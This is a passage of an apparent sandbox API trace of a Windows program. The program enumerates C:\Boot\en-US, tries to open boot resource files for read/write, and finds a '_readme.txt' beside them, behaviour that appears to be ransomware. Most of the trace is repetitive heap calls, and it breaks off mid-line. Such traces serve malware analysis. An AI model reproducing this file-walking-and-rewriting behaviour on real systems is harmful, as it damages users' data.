ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0059.535] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\bootmgr.exe.mui") returned=".mui" [0059.536] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.536] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xc3080a8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0059.536] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\memtest.exe.mui") returned=".mui" [0059.536] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.536] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0059.536] PathFindExtensionW (pszPath="C:\\Boot\\en-US\\_readme.txt") returned=".txt" [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018118 | out: hHeap=0x670000) returned 1 [0059.536] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13acb9d0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13acb9d0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13acb9d0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0059.536] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5478 | out: hHeap=0x670000) returned 1 [0059.536] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0059.536] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.536] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.536] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.536] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.536] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.536] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.536] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.537] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.537] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.538] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.538] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.539] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.539] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.540] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.540] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.541] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.541] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.542] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.542] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5928 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.543] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5928 | out: hHeap=0x670000) returned 1 [0059.543] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) 